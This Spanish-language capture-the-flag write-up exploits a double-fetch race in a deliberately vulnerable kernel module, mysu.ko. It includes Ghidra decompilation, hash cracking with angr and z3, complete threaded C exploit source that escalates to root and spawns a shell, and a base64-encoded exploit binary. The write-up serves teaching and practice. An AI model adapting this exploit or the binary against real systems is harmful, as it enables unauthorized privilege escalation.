Kernel Adventures: Part 1
12 minutos de lectura
Se nos proporciona un sistema de archivos Linux y otros archivos comunes en retos de explotación de kernel:
# ls -lh
total 12M
-rw-r--r-- 1 root root 8,1M dic 11 2019 bzImage
-rw-r--r-- 1 root root 84 dic 11 2019 notes.txt
-rw-r--r-- 1 root root 3,2M dic 11 2019 rootfs.cpio.gz
-rwxr-xr-x 1 root root 262 dic 11 2019 run.sh
# cat notes.txt
I removed the password hashes in the file I gave you. They're not supposed to be 0.
# cat run.sh
#!/bin/bash
qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel ./bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd ./rootfs.cpio.gz \
-no-kvm \
-cpu qemu64 \
-smp cores=2
Configuración del entorno
En primer lugar, tenemos que extraer el sistema de archivos de Linux:
# cp rootfs.cpio.gz rootfs.cpio.gz.bak
# gunzip rootfs.cpio.gz
# cpio -i < rootfs.cpio
13955 blocks
# mv rootfs.cpio.gz.bak rootfs.cpio.gz
# ls -lh --time-style=+
total 19M
drwxr-xr-x 2 root root 4,0K bin
-rw-r--r-- 1 root root 8,1M bzImage
drwxr-xr-x 4 root root 4,0K dev
drwxr-xr-x 5 root root 4,0K etc
-r-------- 1 root root 23 flag
drwxr-xr-x 3 root root 4,0K home
-rwxr-xr-x 1 root root 443 init
drwxr-xr-x 3 root root 4,0K lib
lrwxrwxrwx 1 root root 3 lib64 -> lib
lrwxrwxrwx 1 root root 11 linuxrc -> bin/busybox
drwxr-xr-x 2 root root 4,0K media
drwxr-xr-x 2 root root 4,0K mnt
-rw------- 1 root root 8,1K mysu.ko
-rw-r--r-- 1 root root 84 notes.txt
drwxr-xr-x 2 root root 4,0K opt
drwxr-xr-x 2 root root 4,0K proc
drwx------ 2 root root 4,0K root
-rw-r--r-- 1 root root 6,9M rootfs.cpio
-rw-r--r-- 1 root root 3,2M rootfs.cpio.gz
drwxr-xr-x 2 root root 4,0K run
-rwxr-xr-x 1 root root 262 run.sh
drwxr-xr-x 2 root root 4,0K sbin
drwxr-xr-x 2 root root 4,0K sys
drwxr-xr-t 2 root root 4,0K tmp
drwxr-xr-x 6 root root 4,0K usr
drwxr-xr-x 4 root root 4,0K var
# cat flag
HTB{flag_will_be_here}
Ahora hemos identificado dónde estará la flag en la instancia remota.
Ingeniería inversa
También tenemos un módulo de kernel llamado mysu.ko
. Podemos analizarlo en Ghidra. Vemos tres funciones para interactuar con el módulo:
undefined8 dev_open() {
printk(&DAT_00100390);
return 0;
}
size_t dev_read(undefined8 param_1, void *param_2, ulong param_3) {
ulong local_18;
local_18 = param_3;
if (0x20 < param_3) {
local_18 = 0x20;
}
memcpy(param_2, users, local_18);
return local_18;
}
ulong dev_write(undefined8 param_1, int *param_2, ulong param_3) {
int iVar1;
long lVar2;
if (param_3 < 8) {
return 0;
}
if (*param_2 == users._0_4_) {
iVar1 = hash(param_2 + 1);
if (iVar1 == users._4_4_) goto LAB_0010017e;
if (users._8_4_ != *param_2) {
return 0;
}
} else if (users._8_4_ != *param_2) {
return 0;
}
iVar1 = hash(param_2 + 1);
if (iVar1 != users._12_4_) {
return 0;
}
LAB_0010017e:
iVar1 = *param_2;
lVar2 = prepare_creds();
*(int *) (lVar2 + 4) = iVar1;
*(int *) (lVar2 + 8) = iVar1;
*(int *) (lVar2 + 0xc) = iVar1;
*(int *) (lVar2 + 0x10) = iVar1;
*(int *) (lVar2 + 0x14) = iVar1;
*(int *) (lVar2 + 0x18) = iVar1;
*(int *) (lVar2 + 0x1c) = iVar1;
*(int *) (lVar2 + 0x20) = iVar1;
commit_creds(lVar2);
return param_3;
}
La que parece más interesante es dev_write
. Los argumentos de la función son los mismos que en la función write
de C. param_3
corresponde al tamaño de los datos escritos, y si es menos de 8
, la función retorna.
Luego, mira que si contenido de param_2
(nuestros datos) es igual a la variable global llamada users
. Podemos verlo en Ghidra o volcando la sección .data
con readelf
:
# readelf -x .data mysu.ko
Hex dump of section '.data':
NOTE: This section has relocations against it, but these have NOT been applied to this dump.
0x00000000 e8030000 00000000 e9030000 00000000 ................
0x00000010 00000000 00000000 00000000 00000000 ................
0x00000020 00000000 00000000 00000000 00000000 ................
0x00000030 00000000 00000000 00000000 00000000 ................
0x00000040 00000000 00000000 00000000 00000000 ................
0x00000050 00000000 00000000 00000000 00000000 ................
0x00000060 00000000 00000000 00000000 00000000 ................
0x00000070 00000000 00000000 00000000 00000000 ................
0x00000080 00000000 00000000 00000000 00000000 ................
0x00000090 00000000 00000000 00000000 00000000 ................
0x000000a0 00000000 00000000 00000000 00000000 ................
0x000000b0 00000000 00000000 00000000 00000000 ................
0x000000c0 00000000 00000000 00000000 00000000 ................
0x000000d0 00000000 00000000 00000000 00000000 ................
0x000000e0 00000000 00000000 00000000 00000000 ................
0x000000f0 00000000 00000000 00000000 00000000 ................
0x00000100 00000000 00000000 00000000 00000000 ................
0x00000110 00000000 00000000 00000000 00000000 ................
Aquí vemos que "\xe8\x03\x00\x00"
es 0x03e8
en hexadecimal, que es 1000 en decimal (probablemente es un UID). Por tanto, users._0_4_
hace referencia a tener UID 1000.
Luego, el módulo coge los siguientes bytes de nuestros datos y calcula un hash. Si ese hash coincide con users._4_4
(que es "\x00\x00\x00\x00"
), entonces vamos a la etiqueta LAB_0010017e
, que utiliza las funciones prepare_creds
y commit_creds
para cambiar a ese usuario.
Double Fetch
Y la vulnerabilidad está justo ahí, porque está cogiendo otra vez nuestros datos de entrada de param_2
. Existe una condición de carrera cuando tenemos UID 1000 y cuando pasa la verificación y saltamos a LAB_0010017e
, cambiamos nuestro UID a 0, de manera que nos convertimos en root
. Esto se conoce como Double Fetch.
Además, somos capaces de ganar la carrera porque no existe mutex
en init_module
(que haría que cambiar los datos no fuera posible):
int init_module() {
printk(&DAT_001003a0);
majorNumber = __register_chrdev(0, 0, 0x100, &DAT_001003b6, fops);
if (majorNumber < 0) {
printk(&DAT_001003c0);
mysuDevice._0_4_ = majorNumber;
} else {
printk(&DAT_001003ea, majorNumber);
mysuClass = __class_create(__this_module, &DAT_001003b6, &__key.25383);
if (mysuClass < 0xfffffffffffff001) {
printk(&DAT_00100438);
mysuDevice = device_create(mysuClass, 0, majorNumber << 0x14, 0, &DAT_001003b6);
mysuDevice._0_4_ = 0;
if (0xfffffffffffff000 < mysuDevice) {
class_destroy(mysuClass);
__unregister_chrdev(majorNumber, 0, 0x100, &DAT_001003b6);
printk(&DAT_00100468);
}
} else {
__unregister_chrdev(majorNumber, 0, 0x100, &DAT_001003b6);
printk(&DAT_00100408);
mysuDevice._0_4_ = (int) mysuClass;
}
}
return (int) mysuDevice;
}
Desarrollo del exploit
Vamos a ejecutar el script que tenemos para iniciar la emulación del kernel:
# ./run.sh
SeaBIOS (version 1.13.0-1ubuntu1.1)
iPXE (http://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+07F8C8B0+07ECC8B0 CA00
Booting from ROM..
/ $ id
uid=1000(user) gid=1000(user) groups=1000(user)
/ $ ls
bin flag lib media opt run tmp
dev home lib64 mnt proc sbin usr
etc init linuxrc mysu.ko root sys var
Tenemos acceso como user
(UID 1000). En primer lugar, tenemos que ver cuál es el hash esperado para conseguir una contraseña válida. Podemos usar dd
en /dev/mysu
para extraer la variable users
que vimos antes:
/ $ find / -name \*mysu\* 2>/dev/null
/sys/class/mysu
/sys/class/mysu/mysu
/sys/devices/virtual/mysu
/sys/devices/virtual/mysu/mysu
/sys/module/mysu
/mysu.ko
/dev/mysu
/ $ ls -l /dev/mysu
crw-rw-rw- 1 root root 248, 0 May 2 00:32 /dev/mysu
/ $ dd if=/dev/mysu count=1 | xxd
0+1 records in
0+1 records out
00000000: e803 0000 0000 0000 e903 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
El hash esperado es todo ceros, como se dice en notes.txt
. Esta es la función hash
:
uint hash(char *param_1) {
uint uVar1;
size_t sVar2;
uint local_14;
size_t local_10;
local_10 = 0;
local_14 = 0;
sVar2 = strlen(param_1);
for (; local_10 != sVar2; local_10 = local_10 + 1) {
uVar1 = (local_14 + (int)param_1[local_10]) * 0x401;
local_14 = uVar1 ^ uVar1 >> 6 ^ (int)param_1[local_10];
}
return local_14;
}
Obviamente, si proporcionamos una contraseña que solo tenga bytes nulos, obtendremos un hash que será nulo también. Entonces tenemos todo lo que necesitamos para construir el exploit.
No obstante, la instancia local es de solo lectura, por lo que no podemos escribir el exploit en él y por tanto no podemos explotarlo.
Entonces, tenemos que hacer todo en la instancia remota. Vamos a conectarnos y a obtener una TTY completa:
$ nc 157.245.46.51 30193
warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
/ $ ^Z
zsh: suspended nc 157.245.46.51 30193
$ stty raw -echo; fg
[1] + continued nc 157.245.46.51 30193
reset xterm
/ $ export TERM=xterm
/ $ export SHELL=bash
/ $ stty rows 50 columns 158
Como prueba, tenemos que verificar que podemos escribir en /tmp
, que tenemos un editor de texto como vi
o nano
y que las librerías necesitadas por el exploit están instaladas en el sistema:
/ $ ls -la /tmp
total 0
drwxrwxrwt 2 root root 40 Nov 10 2019 .
drwxr-xr-x 18 root root 460 Dec 10 2019 ..
/ $ which vi
/bin/vi
/ $ ls /lib
ls /lib
ld-2.28.so libdl-2.28.so libnss_files.so.2
ld-linux-x86-64.so.2 libdl.so.2 libpthread-2.28.so
libanl-2.28.so libgcc_s.so libpthread.so.0
libanl.so.1 libgcc_s.so.1 libresolv-2.28.so
libatomic.so libm-2.28.so libresolv.so.2
libatomic.so.1 libm.so.6 librt-2.28.so
libatomic.so.1.2.0 libmvec-2.28.so librt.so.1
libc-2.28.so libmvec.so.1 libutil-2.28.so
libc.so.6 libnss_dns-2.28.so libutil.so.1
libcrypt-2.28.so libnss_dns.so.2 modules
libcrypt.so.1 libnss_files-2.28.so
Descifrado de hash de contraseña
Ahora vamos a encontrar el hash esperado:
/ $ dd if=/dev/mysu bs=100 count=1 | xxd
00000000: e803 0000 759f 3103 e903 0000 6764 b72a ....u.1.....gd.*
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
El hash es "\x75\x9f\x31\x03"
, que es 0x03319f75
en formato hexadecimal. Para poder obtener una contraseña válida, tenemos que usar la misma función de hash de mysu.ko
. Podemos escribir un script como este para verificar si una contraseña da como resultado el hash esperado:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
unsigned int hash(char *string) {
int i;
unsigned int aux;
unsigned int res;
res = 0;
for (i = 0; i < strlen(string); i++) {
aux = (res + string[i]) * 0x401;
res = aux ^ aux >> 6 ^ string[i];
}
return res;
}
int main() {
char password[8];
read(0, password, 8);
if (hash(password) == 0x03319f75) {
puts("Correct");
} else {
puts("Wrong");
}
return 0;
}
La manera de obtener una contraseña válida es básicamente fuerza bruta. Sin embargo, la contraseña tiene 6 bytes ($2^{64}$ posibilidades), que llevará mucho tiempo para terminar. Para mejorar el proceso, podemos usar angr
, que viene con algunos solvers y otro tipo de magia negra.
Básicamente, tenemos que usar un script en Python como este:
import angr
project = angr.Project('./hash')
state = project.factory.entry_state()
simmgr = project.factory.simulation_manager(state)
simmgr.explore(find=lambda state: b'Correct\n' in state.posix.dumps(1))
if simmgr.found:
password = []
for byte in simmgr.found[0].posix.dumps(0):
password.append(hex(byte))
print(', '.join(password))
Y luego ejecutarlo para obtener una contraseña válida (puede tardar algunos segundos):
$ gcc -no-pie hash.c -o hash
$ python3 solve_angr.py
WARNING | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior.
WARNING | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff9c with 4 unconstrained bytes referenced from 0x4010b9 (_start+0x9 in hash (0x4010b9))
WARNING | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff80 with 8 unconstrained bytes referenced from 0x59f660 (strlen+0x0 in libc.so.6 (0x9f660))
0x6e, 0x63, 0x7b, 0x89, 0x0, 0x40, 0x40, 0x20
Ahí está. Vamos a comprobarlo:
$ echo -ne "\x6e\x63\x7b\x89\x00\x40\x40\x20" | ./hash
Correct
Otra forma de romper el hash es usando z3
:
#!/usr/bin/env python3
from z3 import BitVec, LShR, sat, SignExt, Solver
def crack_hash(h):
string = [BitVec(f's{i}', 8) for i in range(8)]
res = 0
for i in range(len(string)):
aux = (res + SignExt(24, string[i])) * 0x401
res = aux ^ LShR(aux, 6) ^ SignExt(24, string[i])
s = Solver()
s.add(res == h)
if s.check() == sat:
m = s.model()
return bytes(m[x].as_long() for x in string)
h = 0x03319f75
print(crack_hash(h))
$ python3 crack_hash.py
b'\x18I\x95\xaf\x84\xaf\xf0\xa0'
$ echo -ne "\x18I\x95\xaf\x84\xaf\xf0\xa0" | ./hash
Correct
Debemos tener cuidado y usar funciones especiales de z3
como SignExt
ya que el tipo char
de C es con signo, y LShR
para usar un desplazamiento de bits lógico, en lugar de aritmético.
Condición de carrera
Perfecto. Para el exploit, tenemos que abusar un Double Fetch, por lo que tenemos que ser muy rápidos para poder ganar la carrera. Para ello, usaremos dos threads:
- Uno estará cambiando continuamente el UID a 0 en nuestros datos.
- El otro estará cambiando el UID a 1000 en nuestros datos.
Habrá un momento en el que el módulo verifique que el UID es 1000, de manera que pasamos la comprobación y justo después el UID cambie a 0 antes de volver a coger los datos de usuario para llamar a prepare_creds
y commit_creds
. Una vez que tenemos UID 0, paramos ambos threads y abrimos una shell con system("/bin/sh")
.
Este es el código fuente en C del exploit:
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int done = 0;
char user_parameters[] = {
0xe8, 0x03, 0x00, 0x00,
0x6e, 0x63, 0x7b, 0x89,
0x00, 0x40, 0x40, 0x20,
};
void* change_uid_0(void* arg) {
int fd;
while (!done) {
user_parameters[0] = 0;
user_parameters[1] = 0;
fd = open("/dev/mysu", O_RDWR);
write(fd, user_parameters, sizeof(user_parameters));
close(fd);
if (getuid() == 0) {
done = 1;
system("/bin/sh");
}
}
}
void* change_uid_1000(void* arg) {
int fd;
while (!done) {
user_parameters[0] = 0xe8;
user_parameters[1] = 0x03;
fd = open("/dev/mysu", O_RDWR);
write(fd, user_parameters, sizeof(user_parameters));
close(fd);
if (getuid() == 0) {
done = 1;
system("/bin/sh");
}
}
}
int main() {
pthread_t thread_uid_0;
pthread_t thread_uid_1000;
pthread_create(&thread_uid_0, NULL, change_uid_0, NULL);
pthread_create(&thread_uid_1000, NULL, change_uid_1000, NULL);
pthread_join(thread_uid_0, NULL);
pthread_join(thread_uid_1000, NULL);
return 0;
}
Flag
Las librerías compartidas que necesita son las siguientes:
$ gcc exploit.c -o exploit -l pthread
$ ldd exploit
linux-vdso.so.1 (0x00007ffdced0c000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f1ecd2bf000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1ecd0cd000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1ecd2fc000)
La que deberíamos comprobar es libpthread
, que está instalada en la instancia remota, por lo que no hay problema. Si no, tendríamos que haber compilado el binario como estático, para que no utilizara librerías compartidas (pero resultando en un archivo mucho más pesado).
Para transferir el archivo, tenemos que comprimirlo y luego copiarlo codificado en Base64:
$ gcc exploit.c -o exploit -l pthread
$ md5sum exploit
7fcd70685f49ca890285d61b90a86479 exploit
$ gzip exploit
$ base64 -w0 exploit.gz
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
Tenemos que copiar la cadena en Base64 y pegarla en la instancia remota. Luego la decodificamos y la descomprimimos. Algo así:
/ $ vi /tmp/exploit.gz.b64
/ $ base64 -d /tmp/exploit.gz.b64 > /tmp/exploit.gz
/ $ gzip -d /tmp/exploit.gz
/ $ md5sum /tmp/exploit
7fcd70685f49ca890285d61b90a86479 /tmp/exploit
Ambos hashes MD5 coinciden, por lo que el exploit se ha copiado correctamente. Ahora vamos a ejecutarlo y a obtener la flag:
/ $ chmod +x /tmp/exploit
/ $ /tmp/exploit
/ # cat flag
HTB{C0ngr4ts_y0u_3xpl0it3d_A_D0uBlE-FeTcH}